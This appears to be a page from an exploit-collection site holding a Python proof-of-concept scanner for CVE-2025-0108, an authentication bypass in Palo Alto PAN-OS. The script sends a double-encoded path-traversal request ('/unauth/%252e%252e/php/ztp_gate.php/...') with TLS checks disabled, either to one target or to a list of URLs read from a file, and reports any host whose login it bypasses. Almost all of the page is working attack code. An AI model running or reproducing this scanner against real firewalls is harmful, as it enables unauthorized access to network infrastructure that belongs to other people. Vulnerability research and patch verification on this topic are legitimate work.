4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / PanOs_CVE-2025-0108_LoginByPass.py PY
import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
 
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
def banner():
    print("\033[36m" + """
    ****************************************************
    *                CVE-2025-0108                     *
    *             PanOs  身份认证绕过漏洞               *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")
 
def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls
 
def check(url):
    protocols = ['http://', 'https://']
    found_vulnerabilities = False
   
 
    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
 
        target_url.rstrip("/")
        target_url1 = urljoin(target_url, "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css")
        print(target_url)
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }
 
        try:
            response1 = requests.get(target_url1, verify=False, headers=headers)
            if response1.status_code == 200 and 'Zero Touch Provisioning' in response1.text :              
                print(f"\033[31mFind:{url}:PanOs_CVE-2025-0108_LoginByPass!\033[0m")
                return True
        except Exception as e:
            pass
 
if __name__ == "__main__":
    banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")